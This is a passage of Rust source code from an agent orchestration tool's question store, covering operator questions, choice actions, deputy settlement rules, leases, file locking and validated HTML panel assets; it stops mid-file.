1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 ResumeRun {
258 run: String,
260 },
261 ReleaseTask {
263 task: String,
265 held_at: jiff::Timestamp,
267 reason: Option<String>,
269 },
270 RerunChecks {
272 repo: PathBuf,
274 pr: String,
276 head: String,
278 runs: Vec<String>,
280 },
281 AbandonRun {
283 run: String,
285 },
286 Requeue,
288 Hold,
290 Done,
292}
293
294impl ChoiceAction {
295 pub fn targets(&self, task: &crate::queue::Task) -> bool {
297 match self {
298 Self::ReleaseTask { task: id, .. } => task.id == *id,
299 Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
300 task.runs.contains(run)
301 }
302 _ => false,
303 }
304 }
305
306 pub fn maintenance(&self) -> bool {
308 matches!(
309 self,
310 Self::ResumeRun { .. }
311 | Self::ReleaseTask { .. }
312 | Self::RerunChecks { .. }
313 | Self::AbandonRun { .. }
314 )
315 }
316
317 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
322 let split = spec
323 .find("={")
324 .map(|at| (&spec[..at], &spec[at + 1..]))
325 .or_else(|| spec.rsplit_once('='));
326 let Some((label, verb)) = split else {
327 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
328 };
329 let label = label.trim();
330 if label.is_empty() {
331 bail!("`--action {spec}` names no choice before `=`");
332 }
333 let verb = verb.trim();
334 if verb.starts_with('{') {
335 let action = serde_json::from_str(verb).context("parse typed choice action")?;
336 return Ok((label.to_owned(), action));
337 }
338 let action = match verb.split_once(':') {
339 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
340 run: run.trim().into(),
341 },
342 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
343 run: run.trim().into(),
344 },
345 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
346 run: run.trim().to_owned(),
347 },
348 None if verb == "resume" => {
349 if default_run.is_empty() {
350 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
351 }
352 Self::Resume {
353 run: default_run.to_owned(),
354 }
355 }
356 None if verb == "requeue" => Self::Requeue,
357 None if verb == "hold" => Self::Hold,
358 None if verb == "done" => Self::Done,
359 _ => bail!(
360 "unknown action `{verb}` in `--action {spec}`; \
361 use resume[:<run>], requeue, hold or done"
362 ),
363 };
364 Ok((label.to_owned(), action))
365 }
366
367 pub fn matches_alias(&self, input: &str) -> bool {
370 let input = input.trim();
371 match self {
372 Self::Resume { run } => {
373 [
374 "resume",
375 "resume run",
376 "resume-run",
377 "再開",
378 "実行再開",
379 "実行を再開",
380 "実行を再開する",
381 ]
382 .iter()
383 .any(|alias| input.eq_ignore_ascii_case(alias))
384 || [
385 format!("resume {run}"),
386 format!("resume:{run}"),
387 format!("resume run {run}"),
388 format!("resume {}", short(run)),
389 format!("resume run {}", short(run)),
390 ]
391 .iter()
392 .any(|alias| input.eq_ignore_ascii_case(alias))
393 }
394 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
395 .iter()
396 .any(|alias| input.eq_ignore_ascii_case(alias)),
397 _ => false,
398 }
399 }
400
401 pub fn describe(&self) -> String {
403 match self {
404 Self::Resume { run } => format!("resume run {}", short(run)),
405 Self::ResumeRun { run } => format!("resume run {}", short(run)),
406 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
407 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
408 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
409 Self::Requeue => "requeue the task".to_owned(),
410 Self::Hold => "hold the task until the operator releases it".to_owned(),
411 Self::Done => "mark the task done".to_owned(),
412 }
413 }
414}
415
416pub fn parse_actions(
419 specs: &[String],
420 choices: &[String],
421 default_run: &str,
422) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
423 let mut out = std::collections::BTreeMap::new();
424 for spec in specs {
425 let (label, action) = ChoiceAction::parse(spec, default_run)?;
426 if !choices.contains(&label) {
427 bail!(
428 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
429 choices.join(", ")
430 );
431 }
432 if out.insert(label.clone(), action).is_some() {
433 bail!("more than one --action for `{label}`");
434 }
435 }
436 Ok(out)
437}
438
439#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
450#[serde(rename_all = "lowercase")]
451pub enum Who {
452 Operator,
454 Agent,
457}
458
459#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
467#[serde(deny_unknown_fields)]
468pub struct Turn {
469 pub who: Who,
471 pub body: String,
473 pub at: Timestamp,
475 #[serde(default, skip_serializing_if = "Option::is_none")]
480 pub note: Option<String>,
481}
482
483#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
485#[serde(rename_all = "lowercase")]
486pub enum WaiterKind {
487 Asker,
489 Daemon,
492 Deputy,
496}
497
498#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510pub struct Deputy {
511 pub brief: String,
514 #[serde(default)]
516 pub agent: String,
517 #[serde(default)]
519 pub seat: Option<crate::agent::SeatState>,
520 #[serde(default)]
523 pub starts: u32,
524}
525
526impl Deputy {
527 pub fn new(brief: String) -> Self {
529 Self {
530 brief,
531 agent: String::new(),
532 seat: None,
533 starts: 0,
534 }
535 }
536}
537
538pub fn deputy_seat_key(id: &str) -> String {
540 format!("deputy-{}", short(id))
541}
542
543#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
548pub struct Waiter {
549 pub kind: WaiterKind,
551 pub since: Timestamp,
553}
554
555#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
564pub struct Lease {
565 pub kind: WaiterKind,
567 pub pid: u32,
569 pub beat_at: Timestamp,
571}
572
573impl Lease {
574 pub fn fresh(&self, now: Timestamp) -> bool {
576 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
577 }
578}
579
580#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
582#[serde(deny_unknown_fields)]
583pub struct Question {
584 pub schema: u32,
586 pub id: String,
589 pub run: String,
591 pub node: String,
593 pub seat: String,
596 pub summary: String,
599 pub detail: String,
602 #[serde(default, skip_serializing_if = "Option::is_none")]
604 pub posting_comparison: Option<crate::github_text::PostingComparison>,
605 pub choices: Vec<String>,
609 #[serde(default)]
611 pub merge_target: Option<crate::merge_decision::Target>,
612 #[serde(default)]
616 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
617 #[serde(default)]
624 pub panel: bool,
625 #[serde(default)]
632 pub assets: Vec<String>,
633 pub status: QuestionStatus,
635 pub asked_at: Timestamp,
637 #[serde(default)]
639 pub triage_generation: Option<u64>,
640 pub answered_at: Option<Timestamp>,
642 pub answer: Option<Answer>,
644 #[serde(default)]
653 pub thread: Vec<Turn>,
654 #[serde(default)]
669 pub answer_timeout: u64,
670 #[serde(default)]
676 pub cwd: Option<String>,
677 #[serde(default)]
679 pub waiter: Option<Waiter>,
680 #[serde(default)]
684 pub delivered_turns: usize,
685 #[serde(default)]
688 pub answer_delivered: bool,
689 #[serde(default)]
692 pub deputy: Option<Deputy>,
693 #[serde(default)]
697 pub consult: Option<ChatConsult>,
698 #[serde(default, skip_serializing_if = "Option::is_none")]
700 pub answer_authority: Option<crate::consult::AnswerAuthority>,
701 #[serde(default, skip_serializing_if = "Option::is_none")]
703 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
704 #[serde(default)]
707 pub decision_context: Option<String>,
708}
709
710#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
712pub struct ChatConsult {
713 pub talk: String,
715 pub at: Timestamp,
717}
718
719impl Question {
720 pub fn run_names_task(&self) -> bool {
723 matches!(
724 self.node.as_str(),
725 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
726 )
727 }
728
729 pub fn new(
732 run: String,
733 node: String,
734 seat: String,
735 summary: String,
736 detail: String,
737 choices: Vec<String>,
738 ) -> Self {
739 Self {
740 schema: SCHEMA,
741 id: new_id(),
742 run,
743 node,
744 seat,
745 summary,
746 detail,
747 posting_comparison: None,
748 choices,
749 merge_target: None,
750 actions: std::collections::BTreeMap::new(),
751 panel: false,
752 assets: Vec::new(),
753 status: QuestionStatus::Open,
754 asked_at: Timestamp::now(),
755 triage_generation: None,
756 answered_at: None,
757 answer: None,
758 thread: Vec::new(),
759 answer_timeout: 0,
760 cwd: None,
761 waiter: None,
762 delivered_turns: 0,
763 answer_delivered: false,
764 deputy: None,
765 consult: None,
766 answer_authority: None,
767 consult_outcome: None,
768 decision_context: None,
769 }
770 }
771
772 pub fn short(&self) -> &str {
774 short(&self.id)
775 }
776
777 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
780 match (&self.status, &self.answer) {
781 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
782 _ => None,
783 }
784 }
785
786 pub fn free_text(&self) -> bool {
788 self.choices.is_empty()
789 }
790
791 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
794 if self.free_text() || self.choices.iter().any(|c| c == reply) {
795 return Ok(reply);
796 }
797 if ChoiceAction::Hold.matches_alias(reply)
798 && let Some(label) = self
799 .choices
800 .iter()
801 .find(|label| crate::triage::contextual_keep_held(self, label))
802 {
803 return Ok(label);
804 }
805 let matches: Vec<_> = self
806 .actions
807 .iter()
808 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
809 .collect();
810 match matches.as_slice() {
811 [(label, _)] => Ok(label.as_str()),
812 [] => bail!(
813 "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
814 ),
815 _ => bail!(
816 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
817 ),
818 }
819 }
820
821 pub fn answer(&mut self, answer: Answer) -> Result<()> {
831 match self.status {
832 QuestionStatus::Answered => bail!(
833 "question {} was already answered; the run has moved on and a \
834 second answer would be a decision nobody acted on",
835 self.short()
836 ),
837 QuestionStatus::Abandoned => bail!(
838 "question {} was abandoned and the run behind it is gone",
839 self.short()
840 ),
841 QuestionStatus::Open => {}
842 }
843 let body = match &answer {
844 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
845 };
846 if body.trim().is_empty() {
847 bail!(
848 "question {} needs an answer; an empty one tells the agent \
849 nothing and it would guess anyway",
850 self.short()
851 );
852 }
853 match &answer {
854 Answer::Choice(c) if self.free_text() => bail!(
855 "question {} asks for free text, so `{c}` cannot be a choice \
856 it offered",
857 self.short()
858 ),
859 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
860 "`{c}` is not one of the choices question {} offers: {}",
861 self.short(),
862 self.choices.join(", ")
863 ),
864 Answer::Text(_) if !self.free_text() => bail!(
865 "question {} is multiple choice; answer with one of: {}",
866 self.short(),
867 self.choices.join(", ")
868 ),
869 _ => {}
870 }
871 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
872 bail!("hold cannot execute a question action");
873 }
874 self.answered_at = Some(Timestamp::now());
875 self.answer = Some(answer);
876 self.status = QuestionStatus::Answered;
877 Ok(())
878 }
879
880 pub fn abandon(&mut self, why: impl Into<String>) {
892 if !self.status.open() {
893 return;
894 }
895 self.status = QuestionStatus::Abandoned;
896 let why = why.into();
897 let why = why.trim();
898 if why.is_empty() {
899 return;
900 }
901 if !self.detail.is_empty() {
902 self.detail.push('\n');
903 }
904 self.detail.push_str("\n_Abandoned: ");
905 self.detail.push_str(why);
906 self.detail.push_str("._\n");
907 }
908
909 pub fn resolution(&self) -> Option<String> {
916 match (self.status, &self.answer) {
917 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
918 Some(a.clone())
919 }
920 _ => None,
921 }
922 }
923
924 pub fn settle_by_deputy(
935 &mut self,
936 seat: &str,
937 label: &str,
938 quote: &str,
939 note: Option<&str>,
940 ) -> Result<()> {
941 let Some(deputy) = &self.deputy else {
942 bail!("question {} has no deputy", self.short());
943 };
944 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
945 if own != Some(seat) {
946 bail!("only the deputy of question {} may settle it", self.short());
947 }
948 if !self.choices.iter().any(|c| c == label) {
949 bail!(
950 "`{label}` is not one of the choices offered on question {}",
951 self.short()
952 );
953 }
954 let quote = quote.trim();
955 if quote.is_empty()
956 || !self
957 .thread
958 .iter()
959 .any(|t| t.who == Who::Operator && t.body.contains(quote))
960 {
961 bail!(
962 "the quote is not something the owner said on question {}",
963 self.short()
964 );
965 }
966 let latest = self
969 .thread
970 .iter()
971 .rev()
972 .find(|t| t.who == Who::Operator)
973 .map(|t| {
974 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
975 t.body.as_str()
976 } else {
977 t.body.trim()
978 }
979 });
980 if let Some(message) = latest {
981 crate::consult::validate_batch_effect(self, label, message, quote)?;
982 }
983 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
984 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
985 crate::consult::validate_effect(self, label, message, quote, true)?;
986 } else if crate::deputy::merge_gated(self) {
987 let ok = if label == crate::land::APPROVE {
993 latest.is_some_and(|m| match &self.merge_target {
994 Some(target) => m == format!("merge {}", target.head) && quote == m,
995 None => m.contains(quote),
996 })
997 } else {
998 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
999 };
1000 if !ok {
1001 bail!(
1002 "on a merge approval `{label}` settles it only when the quote is a \
1003 verbatim part of the owner's latest message ({}); if the wording is \
1004 doubtful, ask what they mean with `--thread` instead",
1005 if label == crate::land::HOLD {
1006 "for `hold`, the whole message"
1007 } else {
1008 "the quote must be the instruction itself"
1009 }
1010 );
1011 }
1012 } else if self.node == crate::github_text::ASK_NODE
1013 && crate::deputy::destructive(self, label)
1014 {
1015 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1016 bail!(
1017 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1018 );
1019 }
1020 } else if crate::deputy::destructive(self, label)
1021 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1022 {
1023 bail!(
1024 "`{label}` cannot be undone; it settles question {} only when the owner's \
1025 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1026 / not / question); ask what they mean with `--thread` instead",
1027 self.short()
1028 );
1029 }
1030 self.thread.push(Turn {
1031 who: Who::Agent,
1032 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1033 at: Timestamp::now(),
1034 note: note
1035 .map(str::trim)
1036 .filter(|n| !n.is_empty())
1037 .map(str::to_owned),
1038 });
1039 self.delivered_turns = self.thread.len();
1040 self.answer(Answer::Choice(label.to_owned()))
1041 }
1042
1043 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1054 match self.status {
1055 QuestionStatus::Answered => bail!(
1056 "question {} was already answered; there is nothing left to \
1057 discuss",
1058 self.short()
1059 ),
1060 QuestionStatus::Abandoned => bail!(
1061 "question {} was abandoned and the run behind it is gone",
1062 self.short()
1063 ),
1064 QuestionStatus::Open => {}
1065 }
1066 let body = body.into();
1067 if body.trim().is_empty() {
1068 bail!("a message to question {} cannot be empty", self.short());
1069 }
1070 self.thread.push(Turn {
1071 who: Who::Operator,
1072 body,
1073 at: Timestamp::now(),
1074 note: None,
1075 });
1076 Ok(())
1077 }
1078
1079 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1089 match self.status {
1090 QuestionStatus::Answered => bail!(
1091 "question {} was already answered; replying now would not \
1092 reach anyone",
1093 self.short()
1094 ),
1095 QuestionStatus::Abandoned => bail!(
1096 "question {} was abandoned and the run behind it is gone",
1097 self.short()
1098 ),
1099 QuestionStatus::Open => {}
1100 }
1101 let body = body.into();
1102 if body.trim().is_empty() {
1103 bail!("a reply to question {} cannot be empty", self.short());
1104 }
1105 self.actions.retain(|label, _| choices.contains(label));
1107 self.choices = choices;
1108 let unread = self.unread_from_owner().is_some();
1109 self.thread.push(Turn {
1110 who: Who::Agent,
1111 body,
1112 at: Timestamp::now(),
1113 note: None,
1114 });
1115 if !unread {
1119 self.delivered_turns = self.thread.len();
1120 }
1121 Ok(())
1122 }
1123
1124 pub fn unread_from_owner(&self) -> Option<String> {
1131 if !self.status.open() {
1132 return None;
1133 }
1134 let said = self.undelivered_owner_turns();
1135 (!said.is_empty()).then(|| said.join("\n\n"))
1136 }
1137
1138 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1144 let from = self.delivered_turns.min(self.thread.len());
1145 self.thread[from..]
1146 .iter()
1147 .filter(|t| t.who == Who::Operator)
1148 .map(|t| t.body.as_str())
1149 .collect()
1150 }
1151
1152 pub fn last_activity(&self) -> i64 {
1156 self.thread
1157 .iter()
1158 .map(|t| t.at.as_second())
1159 .max()
1160 .unwrap_or(0)
1161 .max(self.asked_at.as_second())
1162 }
1163
1164 pub fn waiting_on_agent(&self) -> bool {
1173 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1174 }
1175
1176 fn should_notify(&self, now: Timestamp) -> bool {
1184 let Some(last) = self
1185 .thread
1186 .iter()
1187 .rev()
1188 .find(|t| t.who == Who::Operator)
1189 .map(|t| t.at)
1190 else {
1191 return true;
1192 };
1193 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1194 }
1195}
1196
1197#[derive(Debug, Clone)]
1199pub struct Questions {
1200 root: PathBuf,
1201}
1202
1203impl Questions {
1204 pub fn open() -> Self {
1206 Self::at(crate::run::home().join("questions"))
1207 }
1208
1209 pub fn at(root: PathBuf) -> Self {
1212 Self { root }
1213 }
1214
1215 pub fn root(&self) -> &Path {
1217 &self.root
1218 }
1219
1220 pub fn path_of(&self, id: &str) -> PathBuf {
1222 self.root.join(format!("{id}.json"))
1223 }
1224
1225 pub fn panel_dir(&self, id: &str) -> PathBuf {
1227 self.root.join(format!("{id}{PANEL_DIR}"))
1228 }
1229
1230 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1254 if !valid_asset_name(&q.id) {
1255 bail!(
1256 "question id `{}` is not a name magi will build a panel path from",
1257 q.id
1258 );
1259 }
1260 if html.trim().is_empty() {
1261 bail!(
1262 "question {} was handed an empty panel; an empty frame reads to \
1263 the owner as \"the agent had nothing to say\", which is a lie",
1264 q.short()
1265 );
1266 }
1267
1268 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1271 for src in assets {
1272 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1273 if !valid_asset_name(name) {
1274 bail!(
1275 "panel asset `{}` cannot be stored: a panel file name must \
1276 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1277 src.display()
1278 );
1279 }
1280 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1281 bail!(
1282 "two panel assets are both named `{name}` - {} and {} - and \
1283 the panel can only show one of them; rename one at the source",
1284 first.display(),
1285 src.display()
1286 );
1287 }
1288 named.push((name.to_owned(), src.as_path()));
1289 }
1290
1291 let mut total = html.len() as u64;
1292 for (_, src) in &named {
1293 let meta = std::fs::metadata(src)
1294 .with_context(|| format!("stat panel asset {}", src.display()))?;
1295 if !meta.is_file() {
1296 bail!(
1297 "panel asset `{}` is not a file; a panel is html plus files \
1298 copied beside it",
1299 src.display()
1300 );
1301 }
1302 total = total.saturating_add(meta.len());
1303 }
1304 if total > PANEL_MAX_BYTES {
1305 bail!(
1306 "panel for question {} is {total} bytes, over magi's cap of \
1307 {PANEL_MAX_BYTES} bytes; nothing was written",
1308 q.short()
1309 );
1310 }
1311
1312 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1313 let dir = self.panel_dir(&q.id);
1314 std::fs::create_dir_all(&self.root)
1315 .with_context(|| format!("create {}", self.root.display()))?;
1316 clear_dir(&tmp)?;
1317 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1318 if let Err(e) = fill_panel(&tmp, html, &named) {
1319 let _ = std::fs::remove_dir_all(&tmp);
1322 return Err(e);
1323 }
1324 clear_dir(&dir)?;
1325 std::fs::rename(&tmp, &dir)
1326 .with_context(|| format!("move panel into {}", dir.display()))?;
1327
1328 q.panel = true;
1329 q.assets = named.into_iter().map(|(n, _)| n).collect();
1330 q.assets.sort_unstable();
1331 Ok(())
1332 }
1333
1334 pub fn panel_html(&self, id: &str) -> Option<String> {
1340 if !valid_asset_name(id) {
1341 return None;
1342 }
1343 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1344 }
1345
1346 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1357 if !valid_asset_name(name) {
1358 bail!(
1359 "`{name}` is not a panel file name; it must match \
1360 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1361 );
1362 }
1363 if !valid_asset_name(id) {
1364 return Ok(None);
1365 }
1366 let dir = self.panel_dir(id);
1367 if !dir.is_dir() {
1368 return Ok(None);
1369 }
1370 let path = dir.join(name);
1371 match std::fs::read(&path) {
1372 Ok(bytes) => Ok(Some(bytes)),
1373 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1374 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1375 }
1376 }
1377
1378 pub fn drop_panel(&self, id: &str) -> Result<()> {
1387 if !valid_asset_name(id) {
1388 bail!("question id `{id}` is not a name magi will build a panel path from");
1389 }
1390 clear_dir(&self.panel_dir(id))?;
1391 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1392 }
1393
1394 pub fn lease_path(&self, id: &str) -> PathBuf {
1396 self.root.join(format!("{id}.lease"))
1397 }
1398
1399 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1401 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1402 serde_json::from_str(&body).ok()
1403 }
1404
1405 pub fn beat(&self, id: &str, kind: WaiterKind) {
1412 let lease = Lease {
1413 kind,
1414 pid: std::process::id(),
1415 beat_at: Timestamp::now(),
1416 };
1417 let path = self.lease_path(id);
1418 let tmp = path.with_extension("lease.tmp");
1419 let written = std::fs::create_dir_all(&self.root)
1420 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1421 .and_then(|()| std::fs::rename(&tmp, &path));
1422 if let Err(e) = written {
1423 tracing::debug!("could not beat the lease on question {id}: {e}");
1424 }
1425 }
1426
1427 pub fn drop_lease(&self, id: &str) {
1429 let _ = std::fs::remove_file(self.lease_path(id));
1430 }
1431
1432 pub fn update<T>(
1443 &self,
1444 id: &str,
1445 f: impl FnOnce(&mut Question) -> Result<T>,
1446 ) -> Result<(Question, T)> {
1447 std::fs::create_dir_all(&self.root)
1448 .with_context(|| format!("create {}", self.root.display()))?;
1449 let lock = self.root.join(format!("{id}.lock"));
1450 let started = std::time::Instant::now();
1451 loop {
1452 match std::fs::OpenOptions::new()
1453 .write(true)
1454 .create_new(true)
1455 .open(&lock)
1456 {
1457 Ok(_) => break,
1458 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1459 let stale = std::fs::metadata(&lock)
1460 .and_then(|m| m.modified())
1461 .ok()
1462 .and_then(|t| t.elapsed().ok())
1463 .is_some_and(|age| age > LOCK_STALE);
1464 if stale {
1465 let _ = std::fs::remove_file(&lock);
1466 } else if started.elapsed() > LOCK_STALE {
1467 bail!("could not lock question {id}");
1468 } else {
1469 std::thread::sleep(Duration::from_millis(15));
1470 }
1471 }
1472 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1473 }
1474 }
1475 struct Unlock(PathBuf);
1476 impl Drop for Unlock {
1477 fn drop(&mut self) {
1478 let _ = std::fs::remove_file(&self.0);
1479 }
1480 }
1481 let _guard = Unlock(lock);
1482 let mut q = read_path(&self.path_of(id))?;
1483 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1484 let out = f(&mut q)?;
1485 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1486 let home = self.root.parent().context("question store has no home")?;
1487 crate::merge_decision::dismiss(home, &q)?;
1488 }
1489 self.put(&mut q)?;
1490 Ok((q, out))
1491 }
1492
1493 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1496 anyhow::ensure!(
1497 q.actions.keys().all(|c| q.choices.contains(c)),
1498 "question action names an unoffered choice"
1499 );
1500 for label in &q.choices {
1501 anyhow::ensure!(
1502 crate::choice_effect::describe(q, label).is_some(),
1503 "question node {} offers an unsupported choice: {label}",
1504 q.node
1505 );
1506 }
1507 self.put(q)
1508 }
1509
1510 pub fn put(&self, q: &mut Question) -> Result<()> {
1514 std::fs::create_dir_all(&self.root)
1515 .with_context(|| format!("create {}", self.root.display()))?;
1516 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1517 let path = self.path_of(&q.id);
1518 let tmp = path.with_extension("json.tmp");
1519 let is_new = !path.exists();
1520 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1521 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1522 if is_new
1525 && q.status.open()
1526 && q.node != crate::bump::NOTICE_NODE
1527 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1528 {
1529 crate::notices::quiet_for(home, q);
1530 }
1531 Ok(())
1532 }
1533
1534 pub fn get(&self, id: &str) -> Result<Question> {
1536 let resolved = self.resolve_id(id)?;
1537 let q = read_path(&self.path_of(&resolved))?;
1538 Ok(self.with_repair_choice(q))
1539 }
1540
1541 fn with_repair_choice(&self, mut q: Question) -> Question {
1542 if q.status.open()
1545 && q.merge_target.is_none()
1546 && let Some(home) = self.root.parent()
1547 && let Some(target) = crate::release_watch::approval_target(home, &q)
1548 && let Ok((current, ())) = self.update(&q.id, |current| {
1549 if current.status.open() && current.merge_target.is_none() {
1550 current.merge_target = Some(target.clone());
1551 }
1552 Ok(())
1553 })
1554 {
1555 q = current;
1556 }
1557 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1558 && q.node == crate::land::APPROVAL_NODE
1559 && let Some(home) = self.root.parent()
1560 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1561 {
1562 let mut upgraded = q.clone();
1563 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1564 match self.update(&q.id, |current| {
1565 crate::land::upgrade_repair_choice(current, &state);
1566 Ok(())
1567 }) {
1568 Ok((current, ())) => return current,
1569 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1570 }
1571 }
1572 }
1573 q
1574 }
1575
1576 pub fn list(&self) -> Vec<Question> {
1584 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1585 .into_iter()
1586 .flatten()
1587 .flatten()
1588 .map(|e| e.path())
1589 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1590 .filter_map(|p| read_path(&p).ok())
1591 .map(|q| self.with_repair_choice(q))
1592 .collect();
1593 all.sort_unstable_by(|a, b| {
1594 let rank = |q: &Question| u8::from(!q.status.open());
1595 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1596 });
1597 all
1598 }
1599
1600 pub fn open_for(&self, run: &str) -> Vec<Question> {
1606 self.list()
1607 .into_iter()
1608 .filter(|q| q.status.open() && q.run == run)
1609 .collect()
1610 }
1611
1612 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1625 let mut abandoned = 0;
1626 for mut q in self.open_for(run) {
1627 q.abandon(why);
1628 self.put(&mut q)?;
1629 abandoned += 1;
1630 }
1631 Ok(abandoned)
1632 }
1633
1634 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
